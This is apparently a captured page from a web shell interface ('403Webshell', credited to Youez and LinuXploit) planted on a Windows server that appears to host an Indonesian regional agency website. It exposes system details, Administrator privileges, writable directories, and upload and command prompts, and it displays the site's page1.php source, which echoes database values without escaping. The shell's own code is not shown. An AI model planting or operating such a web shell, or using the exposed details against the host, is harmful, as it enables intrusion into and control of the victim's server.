403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/bpkd_/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D://bpkd_/page1.php
<?php
/**
 * Halaman Statis (Profil, Visi-Misi, dll)
 */

require_once 'includes/init.php';


// =====================================================
// HANDLE URL PARAMETERS
// =====================================================
$slug = isset($_GET['slug']) ? sanitize($_GET['slug']) : '';
$prefix = isset($_GET['prefix']) ? sanitize($_GET['prefix']) : '';

/*if($prefix=='ppid'){
   require_once 'includes/tokenkab.php';
}
*/
// Jika tidak ada slug, redirect ke beranda
if (empty($slug)) {
    header("Location: index.php");
    exit;
}

$page = null;

// =====================================================
// CARI BERDASARKAN PREFIX DAN SLUG
// =====================================================
if (!empty($prefix)) {
    $prefix_escaped = mysqli_real_escape_string($conn, $prefix);
    $slug_escaped = mysqli_real_escape_string($conn, $slug);
    $query = "SELECT * FROM pages 
              WHERE slug = '$slug_escaped' 
              AND url_prefix = '$prefix_escaped' 
              AND status = 'published'";
    
    $result = $conn->query($query);
    if ($result && $result->num_rows > 0) {
        $page = $result->fetch_assoc();
    }

}

// =====================================================
// FALLBACK: CARI BERDASARKAN SLUG SAJA (untuk kompatibilitas)
// =====================================================
if (!$page) {
    $slug_escaped = mysqli_real_escape_string($conn, $slug);
    $query = "SELECT * FROM pages WHERE slug = '$slug_escaped' AND status = 'published' LIMIT 1";
    $result = $conn->query($query);
    if ($result && $result->num_rows > 0) {
        $page = $result->fetch_assoc();
    }
}

// Jika halaman tidak ditemukan
if (!$page) {
    header("HTTP/1.0 404 Not Found");
    include '404.php';
    exit;
}

// Set page title
$page_title = $page['title'] . ' - ' . ($settings['site_title'] ?? 'Website Instansi');
$meta_description = $page['excerpt'] ?? substr(strip_tags($page['content']), 0, 160);

include 'includes/header.php';

?>

<!-- Page Header -->
<section class="page-header text-white py-5">
<!--      <div class="container">
        <div class="row">
            <div class="col-12 text-center">
                <h1 class="display-4 fw-bold"><?php echo htmlspecialchars($page['title']); ?></h1>
            </div>
        </div>
    </div>
 --> </section>


<!-- Breadcrumb -->
<!-- <div class="breadcrumb-wrapper bg-light py-2">
    <div class="container">
        <nav aria-label="breadcrumb">
            <ol class="breadcrumb mb-0">
                <li class="breadcrumb-item"><a href="/bpkd/"><i class="fas fa-home me-1"></i>Home</a></li>
                <li class="breadcrumb-item active" aria-current="page"><?php echo htmlspecialchars($page['title']); ?></li>
            </ol>
        </nav>
    </div>
</section>
 -->

<!-- Page Content -->
<section class="page-content py-2">
    <div class="container">
        <div class="row g-4 col-lg-10 mx-auto">
                <div class="card featured-card h-100 p-3 rounded-2">

                    <?php
                    if (!empty($page['featured_image'])) {
                        $is_image = in_array($page['file_type'], ['jpg', 'jpeg', 'png', 'gif', 'webp']);
                        
                        if ($is_image) {
                            // Tampilkan sebagai gambar
                            echo '<div class="featured-image mb-4">';
                            echo '<img src="' . $page['featured_image'] . '" alt="' . htmlspecialchars($page['title']) . '" class="img-fluid rounded">';
                            echo '</div>';
                        } else {
                            // Tampilkan jika PDF
                            echo '<iframe src="' . $page['featured_image'] . '" width="100%" height="600px" style="border: none;"></iframe>';

                        }
                    }
                    ?>
                    
                    <div class="page-body">
                        <?php echo $page['content']; ?>
                    </div>
                    
                </div>    
        </div>
    </div>
</section>
<br>

<?php include 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit